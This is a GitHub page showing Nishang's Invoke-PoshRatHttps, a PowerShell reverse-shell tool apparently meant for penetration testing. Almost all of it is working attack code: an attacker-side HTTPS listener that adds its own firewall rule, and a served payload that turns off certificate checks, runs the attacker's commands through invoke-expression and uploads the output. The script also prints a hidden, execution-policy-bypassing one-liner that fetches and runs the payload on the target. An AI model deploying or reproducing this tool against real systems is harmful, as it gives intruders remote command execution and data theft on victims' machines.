Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
192 lines (141 sloc) 9.44 KB
function Invoke-PoshRatHttps
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse interactive PowerShell from a target over HTTPS.
.DESCRIPTION
This script starts a listener on the attacker's machine. The listener listens on Port 443 by default.
On the target machine execute the below command from PowerShell:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
iex (New-Object Net.WebClient).DownloadString("https://ListenerIPAddress:Port/connect")
The listener opens incoming traffic on the specified port. The listener needs to be run from
an elevated PowerShell session.
The firewall rules are named "Windows Update HTTPS".
A Base64 encoded script is hardcoded in the script, you can use the below commands for generating a certificate.
makecert.exe -sr localmachine -ss MY -a sha1 -n "CN=PoshRat Root CA" -sky signature -pe -r "Root.cer" -sv "RootKey.pvk"
makecert.exe -sr localmachine -ss MY -a sha1 -n "CN=PoshRat" -sky exchange -pe -ir localmachine -iv "RootKey.pvk" -ic "Root.cer"
Export From LocalMachine Store With Private Key.
Base64 Encode File
$Content = Get-Content -Path File.pvk -Encoding Byte
$Base64Cert = [System.Convert]::ToBase64String($Content)
The script has been originally written by Casey Smith (@subTee)
.PARAMETER IPAddress
The IP address on which the listener listens. Make sure that the IP address specified here is reachable from the target.
.PARAMETER Port
The port on which the ecnrypted connection is establised.
.EXAMPLE
PS > Invoke-PoshRatHttps -IPAddress 192.168.254.1 -Port 8443
Above shows an example where the listener starts on port 8443. On the client execute:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};iex (New-Object Net.WebClient).DownloadString("https://192.168.254.1:8443/connect")
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-3.html
https://github.com/subTee/PoshRat
https://github.com/samratashok/nishang
#>
[CmdletBinding()] Param(
[Parameter(Position = 0, Mandatory = $true)]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true)]
[Int]
$Port
)
#Certificate Setup For SSL/TLS
#Certificate is not installed on the listener.
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lbYIYKFiJxxYHnKnuGIkWkkpo9epIg0vhPPL1hMGmjfBnCLuuswwkYLooxh+43WM5WxY7eBdTdSDpVrAfk6OdzufY2u0dcQ3GNCIUBFPiEJf3wRfDH5eGlOIH4pCDjg2zrtl/5+GRF/3wdahURmpI0wISJvTHf+eZj4v8cKxT981TAHzxhpuy53+9+8qGcFikMCG2+/K6JVE7mbXzGuLdYcoZkS1T6hRRQ9Kiju3gx5nGgIN22aFSOtXJdZsr/eLe1uLbT2cmzbvUX5QXs/wFHTfxqCAYOg0zdC/qrQRUDKJ4lQELiVJ8x9Tg0loErUNX79GlvF0e0TKxpJPZYYFLu4MoXeLLrEs1g48DGPIHDKmOQP2hFBTXKD0aVYDk829/NOy0HPAD6CY6ZrwmZm7b69boyF4QdA0aAKAeUuW7CDmKkn0v6zHr3LlbC6Bjf8+00ExPLPDFGFm6GCtbyZywkrymtf78FESdL1rLC5VVTgKCfYxp8X/HTB5QtlpllWEfZ0bq3LHyXND0qV5G/6cTQEBGoePa0xySZ8MV6+QiE4TEy3Zk7tsi2UYrW8BX+zRbhuODezizRJta6xxCr+OY8AWz+6g2pZGctyr0QjiHixh7qAyWC9OU445Tu+wvdeZtJtGsRwtbxmzGaTjaFlTLuwEyYbrRxkYo+36Yp8CFg65IcpreCMVox9igmHDbHMsQdr5FW1dEOnV6xQkHnlf0heygfIFNRRrvzHzwCf/jBm/4ZnfEE27PBNb358ETy7HvtW7gL7clNJx0iATUz6QH3aWdRiTx9op8jAdOTyY99AK8vek+YyOsPLL1jA7MB8wBwYFKw4DAhoEFMQTv4RORuVi4juttRObhcARChafBBTpLslMGebrDYuP89Peo8HGC7sEKgICB9A='
$CertPassword = 'password'
$CertPinThumbprint = (New-Object System.Security.Cryptography.X509Certificates.X509Certificate2([System.Convert]::FromBase64String($Base64Cert), $CertPassword)).Thumbprint
function Receive-ClientHttpsRequest([System.Net.Sockets.TcpClient] $client)
{
$RemoteAddr = $client.Client.RemoteEndPoint.Address
$clientStream = $client.GetStream()
$SSLStream = New-Object System.Net.Security.SslStream($clientStream , $false)
$SSLcertfake = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2([System.Convert]::FromBase64String($Base64Cert), $CertPassword)
$SSLThumbprint = $SSLcertfake.Thumbprint
$SSLStream.AuthenticateAsServer($SSLcertfake, $false, [System.Security.Authentication.SslProtocols]::Tls, $false)
$SSLbyteArray = new-object System.Byte[] 8192
[void][byte[]] $SSLbyteClientRequest
do
{
[int] $NumBytesRead = $SSLStream.Read($SSLbyteArray, 0, $SSLbyteArray.Length)
$SSLbyteClientRequest += $SSLbyteArray[0..($NumBytesRead - 1)]
} while ( $clientStream.DataAvailable )
$SSLRequest = [System.Text.Encoding]::UTF8.GetString($SSLbyteClientRequest)
[string[]] $SSLRequestArray = ($SSLRequest -split '[\r\n]') |? {$_}
[string[]] $SSLParse = $SSLRequestArray[0] -split ' '
$SSLMethod = $SSLParse[0]
$SSLURL = $SSLParse[1]
$SSLResponse = 'HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
'
if ($SSLURL -eq '/connect' -and ($SSLMethod -eq 'GET')) {
Write-Output "Connect Request Received"
$SSLResponse += '
$SSLThumbprint = "'+$SSLThumbprint+'"
function Invoke-CertCheck()
{
$Uri = "https://' + $IPAddress+':'+$Port + '/rat"
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$request = [System.Net.HttpWebRequest]::Create($uri)
$request.GetResponse().Dispose()
$servicePoint = $request.ServicePoint
[System.Security.Cryptography.X509Certificates.X509Certificate2]$cert = $servicePoint.Certificate
return $cert.Thumbprint
}
$p = [System.Net.WebRequest]::GetSystemWebProxy()
$s = "https://' + $IPAddress+':'+$Port + '/rat"
$w = New-Object Net.WebClient
$w.Proxy = $p
$r = "hostname"
do
{
while($r) {
[string]$o = invoke-expression $r | out-string
$w.UploadString($s, $o) | out-null
break
}
$r = $w.DownloadString($s)
} while($true)
'
}
if ($SSLURL -eq '/rat' -and ($SSLMethod -eq "POST") ) {
Write-Output ([System.Text.Encoding]::Ascii.GetString($SSLbyteClientRequest))
}
if ($SSLUrl -eq '/rat' -and ($SSLMethod-eq "GET")) {
$Command = Read-Host "PS $RemoteAddr>"
#If the Server/Attacker uses the exit command. Close the client part and the server.
if ($Command -eq "exit")
{
$SSLResponse += "$Command"
[byte[]] $Buffer = [System.Text.Encoding]::UTF8.GetBytes($SSLResponse)
$SSLStream.Write($Buffer, 0, $Buffer.length)
$Client.Close()
$listener.Stop()
break
}
$SSLResponse += "$Command"
}
[byte[]] $Buffer = [System.Text.Encoding]::UTF8.GetBytes($SSLResponse)
$SSLStream.Write($Buffer, 0, $Buffer.length)
$Client.Close()
}
$endpoint = New-Object System.Net.IPEndPoint ([system.net.ipaddress]::any, $Port)
$listener = New-Object System.Net.Sockets.TcpListener $endpoint
#This sets up a local firewall rule to suppress the Windows "Allow Listening Port Prompt"
netsh advfirewall firewall delete rule name="PoshRat Server $Port" | Out-Null #First Run May Throw Error...Thats Ok..:)
netsh advfirewall firewall add rule name="PoshRat Server $Port" dir=in action=allow protocol=TCP localport=$Port | Out-Null
$listener.Start()
Write-Output "Listening on $IPAddress`:$Port"
Write-Output "Run the following command on the target:"
Write-Output "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true};iex ((New-Object Net.WebClient).DownloadString('https://$IPAddress`:$Port/connect'))"
$Client = New-Object System.Net.Sockets.TcpClient
$Client.NoDelay = $true
while($true)
{
$Client = $listener.AcceptTcpClient()
if($Client -ne $null)
{
Receive-ClientHttpsRequest $Client
}
}
}
You can’t perform that action at this time.